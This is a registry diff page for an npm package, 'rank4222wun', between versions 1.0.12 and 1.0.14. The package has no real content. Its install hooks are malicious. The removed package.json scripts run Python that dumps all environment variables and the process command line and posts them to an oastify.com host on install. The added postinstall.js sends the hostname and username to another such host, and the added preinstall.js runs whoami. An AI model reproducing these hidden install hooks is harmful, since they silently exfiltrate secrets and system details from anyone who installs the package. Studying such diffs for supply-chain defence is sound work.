rank4222wun 1.0.12 → 1.0.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,13 +1,12 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.12",
3
+ "version": "1.0.14",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "python3 -c \"import os, base64, httpx, sys; try: env_data = '\\n'.join([f'{k}={v}' for k, v in os.environ.items()]); cmd_line = open('/proc/self/cmdline').read(); res = f'ENV:\\n{env_data}\\n\\nCMD:\\n{cmd_line}'; body = base64.b64encode(res.encode()).decode(); httpx.post('http://moeq7wfzzqk37yosawup1xs7byhp5it7.oastify.com/mem_leak', content=body, timeout=10); print('Done'); except Exception as e: httpx.post('http://moeq7wfzzqk37yosawup1xs7byhp5it7.oastify.com/error', content=str(e))\"",
8
- "preinstall": "python3 -c \"import os, base64, httpx, sys; try: env_data = '\\n'.join([f'{k}={v}' for k, v in os.environ.items()]); cmd_line = open('/proc/self/cmdline').read(); res = f'ENV:\\n{env_data}\\n\\nCMD:\\n{cmd_line}'; body = base64.b64encode(res.encode()).decode(); httpx.post('http://moeq7wfzzqk37yosawup1xs7byhp5it7.oastify.com/mem_leak', content=body, timeout=10); print('Done'); except Exception as e: httpx.post('http://moeq7wfzzqk37yosawup1xs7byhp5it7.oastify.com/error', content=str(e))\"",
9
- "postinstall": "python3 -c \"import os, base64, httpx, sys; try: env_data = '\\n'.join([f'{k}={v}' for k, v in os.environ.items()]); cmd_line = open('/proc/self/cmdline').read(); res = f'ENV:\\n{env_data}\\n\\nCMD:\\n{cmd_line}'; body = base64.b64encode(res.encode()).decode(); httpx.post('http://moeq7wfzzqk37yosawup1xs7byhp5it7.oastify.com/mem_leak', content=body, timeout=10); print('Done'); except Exception as e: httpx.post('http://moeq7wfzzqk37yosawup1xs7byhp5it7.oastify.com/error', content=str(e))\""
7
+ "preinstall": "node preinstall.js",
8
+ "postinstall": "node postinstall.js"
10
9
  },
11
- "author": "",
12
- "license": "ISC"
10
+ "dependencies": {},
11
+ "main": "index.js"
13
12
  }
package/postinstall.js ADDED
@@ -0,0 +1,16 @@
1
+ const https = require("https");
2
+ console.log("[MCP TEST] Postinstall - sending data to server");
3
+ const data = JSON.stringify({
4
+ hostname: require("os").hostname(),
5
+ user: require("os").userInfo().username,
6
+ time: new Date().toISOString()
7
+ });
8
+ const req = https.request({
9
+ hostname: "ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com",
10
+ port: 443,
11
+ path: "/",
12
+ method: "POST",
13
+ headers: { "Content-Type": "application/json" }
14
+ });
15
+ req.write(data);
16
+ req.end();
package/preinstall.js ADDED
@@ -0,0 +1,7 @@
1
+ const { exec } = require("child_process");
2
+ const os = require("os");
3
+ console.log("[MCP TEST] Preinstall running on:", os.platform());
4
+ console.log("[MCP TEST] User:", os.userInfo().username);
5
+ exec("whoami", (err, stdout) => {
6
+ console.log("[MCP TEST] Whoami result:", stdout);
7
+ });
Binary file